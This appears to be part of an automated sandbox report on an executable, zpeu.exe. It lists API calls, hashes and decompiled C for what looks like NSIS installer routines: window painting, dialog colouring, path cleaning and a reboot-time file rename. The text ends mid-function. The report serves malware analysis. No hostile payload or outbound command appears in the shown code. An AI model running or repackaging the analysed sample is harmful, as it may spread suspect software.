                                      0x004043c8
                                      0x004043cb
                                      0x004043ce
                                      0x004043d5
                                      0x004043d7
                                      0x004043d7
                                      0x004043e1
                                      0x004043ee
                                      0x004043f8
                                      0x004043fd
                                      0x00404400
                                      0x00404405
                                      0x0040441c
                                      0x00404423
                                      0x00404436
                                      0x00404439
                                      0x0040444d
                                      0x00404454
                                      0x00404459
                                      0x0040445e
                                      0x0040445e
                                      0x0040446c
                                      0x0040447a
                                      0x0040448c
                                      0x00404491
                                      0x004044a1
                                      0x004044a3
                                      0x00000000

                                      APIs
                                      • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040441C
                                      • GetDlgItem.USER32(?,000003E8), ref: 00404430
                                      • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040444D
                                      • GetSysColor.USER32(?), ref: 0040445E
                                      • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040446C
                                      • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040447A
                                      • lstrlenW.KERNEL32(?), ref: 0040447F
                                      • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040448C
                                      • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044A1
                                      • GetDlgItem.USER32(?,0000040A), ref: 004044FA
                                      • SendMessageW.USER32(00000000), ref: 00404501
                                      • GetDlgItem.USER32(?,000003E8), ref: 0040452C
                                      • SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040456F
                                      • LoadCursorW.USER32(00000000,00007F02), ref: 0040457D
                                      • SetCursor.USER32(00000000), ref: 00404580
                                      • LoadCursorW.USER32(00000000,00007F00), ref: 00404599
                                      • SetCursor.USER32(00000000), ref: 0040459C
                                      • SendMessageW.USER32(00000111,00000001,00000000), ref: 004045CB
                                      • SendMessageW.USER32(00000010,00000000,00000000), ref: 004045DD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
                                      • String ID: Call$N
                                      • API String ID: 3103080414-3438112850
                                      • Opcode ID: 868c1d48af680dab98623212c2c2391fab089ac2f5c5a3188426b6b277364ed0
                                      • Instruction ID: b1457f7914280a06e64b3deddd6598f3d1f5c62ed4ca7ede05d387843edeb913
                                      • Opcode Fuzzy Hash: 868c1d48af680dab98623212c2c2391fab089ac2f5c5a3188426b6b277364ed0
                                      • Instruction Fuzzy Hash: B96173B1A00209BFDB109F60DD45EAA7B69FB94344F00813AFB05B62E0D7789952DF59
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 90%
                                      			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
                                      				struct tagLOGBRUSH _v16;
                                      				struct tagRECT _v32;
                                      				struct tagPAINTSTRUCT _v96;
                                      				struct HDC__* _t70;
                                      				struct HBRUSH__* _t87;
                                      				struct HFONT__* _t94;
                                      				long _t102;
                                      				signed int _t126;
                                      				struct HDC__* _t128;
                                      				intOrPtr _t130;
                                      
                                      				if(_a8 == 0xf) {
                                      					_t130 =  *0x42a214;
                                      					_t70 = BeginPaint(_a4,  &_v96);
                                      					_v16.lbStyle = _v16.lbStyle & 0x00000000;
                                      					_a8 = _t70;
                                      					GetClientRect(_a4,  &_v32);
                                      					_t126 = _v32.bottom;
                                      					_v32.bottom = _v32.bottom & 0x00000000;
                                      					while(_v32.top < _t126) {
                                      						_a12 = _t126 - _v32.top;
                                      						asm("cdq");
                                      						asm("cdq");
                                      						asm("cdq");
                                      						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
                                      						_t87 = CreateBrushIndirect( &_v16);
                                      						_v32.bottom = _v32.bottom + 4;
                                      						_a16 = _t87;
                                      						FillRect(_a8,  &_v32, _t87);
                                      						DeleteObject(_a16);
                                      						_v32.top = _v32.top + 4;
                                      					}
                                      					if( *(_t130 + 0x58) != 0xffffffff) {
                                      						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
                                      						_a16 = _t94;
                                      						if(_t94 != 0) {
                                      							_t128 = _a8;
                                      							_v32.left = 0x10;
                                      							_v32.top = 8;
                                      							SetBkMode(_t128, 1);
                                      							SetTextColor(_t128,  *(_t130 + 0x58));
                                      							_a8 = SelectObject(_t128, _a16);
                                      							DrawTextW(_t128, 0x429200, 0xffffffff,  &_v32, 0x820);
                                      							SelectObject(_t128, _a8);
                                      							DeleteObject(_a16);
                                      						}
                                      					}
                                      					EndPaint(_a4,  &_v96);
                                      					return 0;
                                      				}
                                      				_t102 = _a16;
                                      				if(_a8 == 0x46) {
                                      					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
                                      					 *((intOrPtr*)(_t102 + 4)) =  *0x42a208;
                                      				}
                                      				return DefWindowProcW(_a4, _a8, _a12, _t102);
                                      			}













                                      0x0040100a
                                      0x00401039
                                      0x00401047
                                      0x0040104d
                                      0x00401051
                                      0x0040105b
                                      0x00401061
                                      0x00401064
                                      0x004010f3
                                      0x00401089
                                      0x0040108c
                                      0x004010a6
                                      0x004010bd
                                      0x004010cc
                                      0x004010cf
                                      0x004010d5
                                      0x004010d9
                                      0x004010e4
                                      0x004010ed
                                      0x004010ef
                                      0x004010ef
                                      0x00401100
                                      0x00401105
                                      0x0040110d
                                      0x00401110
                                      0x00401112
                                      0x00401118
                                      0x0040111f
                                      0x00401126
                                      0x00401130
                                      0x00401142
                                      0x00401156
                                      0x00401160
                                      0x00401165
                                      0x00401165
                                      0x00401110
                                      0x0040116e
                                      0x00000000
                                      0x00401178
                                      0x00401010
                                      0x00401013
                                      0x00401015
                                      0x0040101f
                                      0x0040101f
                                      0x00000000

                                      APIs
                                      • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                      • BeginPaint.USER32(?,?), ref: 00401047
                                      • GetClientRect.USER32(?,?), ref: 0040105B
                                      • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                      • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                      • DeleteObject.GDI32(?), ref: 004010ED
                                      • CreateFontIndirectW.GDI32(?), ref: 00401105
                                      • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                      • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                      • SelectObject.GDI32(00000000,?), ref: 00401140
                                      • DrawTextW.USER32(00000000,00429200,000000FF,00000010,00000820), ref: 00401156
                                      • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                      • DeleteObject.GDI32(?), ref: 00401165
                                      • EndPaint.USER32(?,?), ref: 0040116E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                      • String ID: F
                                      • API String ID: 941294808-1304234792
                                      • Opcode ID: dddf6588841e3707deee37d13ddb8de347a630f4291ad0a352021d00e496f588
                                      • Instruction ID: 53e7ac87f6412b54f62e8112edad18e9e8f6d31619aee210d26213a62ff7d26c
                                      • Opcode Fuzzy Hash: dddf6588841e3707deee37d13ddb8de347a630f4291ad0a352021d00e496f588
                                      • Instruction Fuzzy Hash: 88418A71800209AFCF058FA5DE459AF7BB9FF44310F00842AF991AA1A0C738D955DFA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405E98(void* __ecx) {
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				long _t12;
                                      				long _t24;
                                      				char* _t31;
                                      				int _t37;
                                      				void* _t38;
                                      				intOrPtr* _t39;
                                      				long _t42;
                                      				WCHAR* _t44;
                                      				void* _t46;
                                      				void* _t48;
                                      				void* _t49;
                                      				void* _t52;
                                      				void* _t53;
                                      
                                      				_t38 = __ecx;
                                      				_t44 =  *(_t52 + 0x14);
                                      				 *0x426d88 = 0x55004e;
                                      				 *0x426d8c = 0x4c;
                                      				if(_t44 == 0) {
                                      					L3:
                                      					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x427588, 0x400);
                                      					if(_t12 != 0 && _t12 <= 0x400) {
                                      						_t37 = wsprintfA(0x426988, "%ls=%ls\r\n", 0x426d88, 0x427588);
                                      						_t53 = _t52 + 0x10;
                                      						E0040626E(_t37, 0x400, 0x427588, 0x427588,  *((intOrPtr*)( *0x42a214 + 0x128)));
                                      						_t12 = E00405D3E(0x427588, 0xc0000000, 4);
                                      						_t48 = _t12;
                                      						 *(_t53 + 0x18) = _t48;
                                      						if(_t48 != 0xffffffff) {
                                      							_t42 = GetFileSize(_t48, 0);
                                      							_t6 = _t37 + 0xa; // 0xa
                                      							_t46 = GlobalAlloc(0x40, _t42 + _t6);
                                      							if(_t46 == 0 || E00405DC1(_t48, _t46, _t42) == 0) {
                                      								L18:
                                      								return CloseHandle(_t48);
                                      							} else {
                                      								if(E00405CA3(_t38, _t46, "[Rename]\r\n") != 0) {
                                      									_t49 = E00405CA3(_t38, _t21 + 0xa, "\n[");
                                      									if(_t49 == 0) {
                                      										_t48 =  *(_t53 + 0x18);
                                      										L16:
                                      										_t24 = _t42;
                                      										L17:
                                      										E00405CF9(_t24 + _t46, 0x426988, _t37);
                                      										SetFilePointer(_t48, 0, 0, 0);
                                      										E00405DF0(_t48, _t46, _t42 + _t37);
                                      										GlobalFree(_t46);
                                      										goto L18;
                                      									}
                                      									_t39 = _t46 + _t42;
                                      									_t31 = _t39 + _t37;
                                      									while(_t39 > _t49) {
                                      										 *_t31 =  *_t39;
                                      										_t31 = _t31 - 1;
                                      										_t39 = _t39 - 1;
                                      									}
                                      									_t24 = _t49 - _t46 + 1;
                                      									_t48 =  *(_t53 + 0x18);
                                      									goto L17;
                                      								}
                                      								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
                                      								_t42 = _t42 + 0xa;
                                      								goto L16;
                                      							}
                                      						}
                                      					}
                                      				} else {
                                      					CloseHandle(E00405D3E(_t44, 0, 1));
                                      					_t12 = GetShortPathNameW(_t44, 0x426d88, 0x400);
                                      					if(_t12 != 0 && _t12 <= 0x400) {
                                      						goto L3;
                                      					}
                                      				}
                                      				return _t12;
                                      			}



















                                      0x00405e98
                                      0x00405ea1
                                      0x00405ea8
                                      0x00405eb2
                                      0x00405ec6
                                      0x00405eee
                                      0x00405ef9
                                      0x00405efd
                                      0x00405f1d
                                      0x00405f24
                                      0x00405f2e
                                      0x00405f3b
                                      0x00405f40
                                      0x00405f45
                                      0x00405f49
                                      0x00405f58
                                      0x00405f5a
                                      0x00405f67
                                      0x00405f6b
                                      0x00406006
                                      0x00000000
                                      0x00405f81
                                      0x00405f8e
                                      0x00405fb2
                                      0x00405fb6
                                      0x00405fd5
                                      0x00405fd9
                                      0x00405fd9
                                      0x00405fdb
                                      0x00405fe4
                                      0x00405fef
                                      0x00405ffa
                                      0x00406000
                                      0x00000000
                                      0x00406000
                                      0x00405fb8
                                      0x00405fbb
                                      0x00405fc6
                                      0x00405fc2
                                      0x00405fc4
                                      0x00405fc5
                                      0x00405fc5
                                      0x00405fcd
                                      0x00405fcf
                                      0x00000000
                                      0x00405fcf
                                      0x00405f99
                                      0x00405f9f
                                      0x00000000
                                      0x00405f9f
                                      0x00405f6b
                                      0x00405f49
                                      0x00405ec8
                                      0x00405ed3
                                      0x00405edc
                                      0x00405ee0
                                      0x00000000
                                      0x00000000
                                      0x00405ee0
                                      0x00406011

                                      APIs
                                      • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406033,?,?), ref: 00405ED3
                                      • GetShortPathNameW.KERNEL32(?,00426D88,00000400), ref: 00405EDC
                                        • Part of subcall function 00405CA3: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F8C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CB3
                                        • Part of subcall function 00405CA3: lstrlenA.KERNEL32(00000000,?,00000000,00405F8C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CE5
                                      • GetShortPathNameW.KERNEL32(?,00427588,00000400), ref: 00405EF9
                                      • wsprintfA.USER32 ref: 00405F17
                                      • GetFileSize.KERNEL32(00000000,00000000,00427588,C0000000,00000004,00427588,?,?,?,?,?), ref: 00405F52
                                      • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F61
                                      • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F99
                                      • SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,00426988,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 00405FEF
                                      • GlobalFree.KERNEL32(00000000), ref: 00406000
                                      • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406007
                                        • Part of subcall function 00405D3E: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\zpeu.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D42
                                        • Part of subcall function 00405D3E: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D64
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
                                      • String ID: %ls=%ls$[Rename]
                                      • API String ID: 2171350718-461813615
                                      • Opcode ID: e2dce14ec57fd102e1061d77b498a0ceb59b39116d7a7688ffb8e9b872a7f50f
                                      • Instruction ID: 4a393c650f5efb56d04c3c3372b5421d1ec1fa5455b413989d263a6ec4772352
                                      • Opcode Fuzzy Hash: e2dce14ec57fd102e1061d77b498a0ceb59b39116d7a7688ffb8e9b872a7f50f
                                      • Instruction Fuzzy Hash: 9E316870240B19BBD220ABA59E48F6B3A5CDF41758F15003BF946F72C2DA7CD8118ABD
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 91%
                                      			E004064E0(WCHAR* _a4) {
                                      				short _t5;
                                      				short _t7;
                                      				WCHAR* _t19;
                                      				WCHAR* _t20;
                                      				WCHAR* _t21;
                                      
                                      				_t20 = _a4;
                                      				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
                                      					_t20 =  &(_t20[4]);
                                      				}
                                      				if( *_t20 != 0 && E00405B94(_t20) != 0) {
                                      					_t20 =  &(_t20[2]);
                                      				}
                                      				_t5 =  *_t20;
                                      				_t21 = _t20;
                                      				_t19 = _t20;
                                      				if(_t5 != 0) {
                                      					do {
                                      						if(_t5 > 0x1f &&  *((short*)(E00405B4A(L"*?|<>/\":", _t5))) == 0) {
                                      							E00405CF9(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
                                      							_t19 = CharNextW(_t19);
                                      						}
                                      						_t20 = CharNextW(_t20);
                                      						_t5 =  *_t20;
                                      					} while (_t5 != 0);
                                      				}
                                      				 *_t19 =  *_t19 & 0x00000000;
                                      				while(1) {
                                      					_push(_t19);
                                      					_push(_t21);
                                      					_t19 = CharPrevW();
                                      					_t7 =  *_t19;
                                      					if(_t7 != 0x20 && _t7 != 0x5c) {
                                      						break;
                                      					}
                                      					 *_t19 =  *_t19 & 0x00000000;
                                      					if(_t21 < _t19) {
                                      						continue;
                                      					}
                                      					break;
                                      				}
                                      				return _t7;
                                      			}








                                      0x004064e2
                                      0x004064eb
                                      0x00406502
                                      0x00406502
                                      0x00406509
                                      0x00406515
                                      0x00406515
                                      0x00406518
                                      0x0040651b
                                      0x00406520
                                      0x00406522
                                      0x0040652b
                                      0x0040652f
                                      0x0040654c
                                      0x00406554
                                      0x00406554
                                      0x00406559
                                      0x0040655b
                                      0x0040655e
                                      0x00406563
                                      0x00406564
                                      0x00406568
                                      0x00406568
                                      0x00406569
                                      0x00406570
                                      0x00406572
                                      0x00406579
                                      0x00000000
                                      0x00000000
                                      0x00406581
                                      0x00406587
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406587
                                      0x0040658c

                                      APIs
                                      • CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\zpeu.exe",00403318,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 00406543
                                      • CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406552
                                      • CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\zpeu.exe",00403318,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 00406557
                                      • CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\zpeu.exe",00403318,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 0040656A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Char$Next$Prev
                                      • String ID: "C:\Users\user\Desktop\zpeu.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                      • API String ID: 589700163-2674495266
                                      • Opcode ID: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
                                      • Instruction ID: 6610343985016d4d3861ed5752e28572e14021042ee5aa5e44fa789d85a72fac
                                      • Opcode Fuzzy Hash: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
                                      • Instruction Fuzzy Hash: 0811B255800612A5DB303B14AD40AB7A2B8EF58794F52403FED9AB32C5E77C9C9286BD
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00404248(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
                                      				struct tagLOGBRUSH _v16;
                                      				long _t35;
                                      				long _t37;
                                      				void* _t40;
                                      				long* _t49;
                                      
                                      				if(_a4 + 0xfffffecd > 5) {
                                      					L15:
                                      					return 0;
                                      				}
                                      				_t49 = GetWindowLongW(_a12, 0xffffffeb);
                                      				if(_t49 == 0) {
                                      					goto L15;
                                      				}
                                      				_t35 =  *_t49;
                                      				if((_t49[5] & 0x00000002) != 0) {
                                      					_t35 = GetSysColor(_t35);
                                      				}
                                      				if((_t49[5] & 0x00000001) != 0) {
                                      					SetTextColor(_a8, _t35);
                                      				}
                                      				SetBkMode(_a8, _t49[4]);
                                      				_t37 = _t49[1];
                                      				_v16.lbColor = _t37;
                                      				if((_t49[5] & 0x00000008) != 0) {
                                      					_t37 = GetSysColor(_t37);
                                      					_v16.lbColor = _t37;
                                      				}
                                      				if((_t49[5] & 0x00000004) != 0) {
                                      					SetBkColor(_a8, _t37);
                                      				}
                                      				if((_t49[5] & 0x00000010) != 0) {
                                      					_v16.lbStyle = _t49[2];
                                      					_t40 = _t49[3];
                                      					if(_t40 != 0) {
                                      						DeleteObject(_t40);
                                      					}
                                      					_t49[3] = CreateBrushIndirect( &_v16);
                                      				}
                                      				return _t49[3];
                                      			}








                                      0x0040425a
                                      0x004042ee
                                      0x00000000
                                      0x004042ee
                                      0x0040426b
                                      0x0040426f
                                      0x00000000
                                      0x00000000
                                      0x00404275
                                      0x0040427e
                                      0x00404281
                                      0x00404281
                                      0x00404287
                                      0x0040428d
                                      0x0040428d
                                      0x00404299
                                      0x0040429f
                                      0x004042a6
                                      0x004042a9
                                      0x004042ac
                                      0x004042ae
                                      0x004042ae
                                      0x004042b6
                                      0x004042bc
                                      0x004042bc
                                      0x004042c6
                                      0x004042cb
                                      0x004042ce
                                      0x004042d3
                                      0x004042d6
                                      0x004042d6
                                      0x004042e6
                                      0x004042e6
                                      0x00000000

                                      APIs
                                      • GetWindowLongW.USER32(?,000000EB), ref: 00404265
                                      • GetSysColor.USER32(00000000), ref: 00404281
                                      • SetTextColor.GDI32(?,00000000), ref: 0040428D
                                      • SetBkMode.GDI32(?,?), ref: 00404299
                                      • GetSysColor.USER32(?), ref: 004042AC
                                      • SetBkColor.GDI32(?,?), ref: 004042BC
                                      • DeleteObject.GDI32(?), ref: 004042D6
                                      • CreateBrushIndirect.GDI32(?), ref: 004042E0
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                      • String ID:
                                      • API String ID: 2320649405-0
                                      • Opcode ID: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
                                      • Instruction ID: 35b1f235034bf6ed7bc4b251198a1cd7c2be2f7e10ce7e0bcb7d9fbd5291f4f5
                                      • Opcode Fuzzy Hash: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
                                      • Instruction Fuzzy Hash: D7218471600704AFCB219F68DE08B4BBBF8AF41750B04897EFD95E26A0D734D904CB64
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00404B7A(struct HWND__* _a4, intOrPtr _a8) {
                                      				long _v8;
                                      				signed char _v12;
                                      				unsigned int _v16;
                                      				void* _v20;
                                      				intOrPtr _v24;
                                      				long _v56;
                                      				void* _v60;
                                      				long _t15;
                                      				unsigned int _t19;
                                      				signed int _t25;
                                      				struct HWND__* _t28;
                                      
                                      				_t28 = _a4;
                                      				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
                                      				if(_a8 == 0) {
                                      					L4:
                                      					_v56 = _t15;
                                      					_v60 = 4;
                                      					SendMessageW(_t28, 0x113e, 0,  &_v60);
                                      					return _v24;
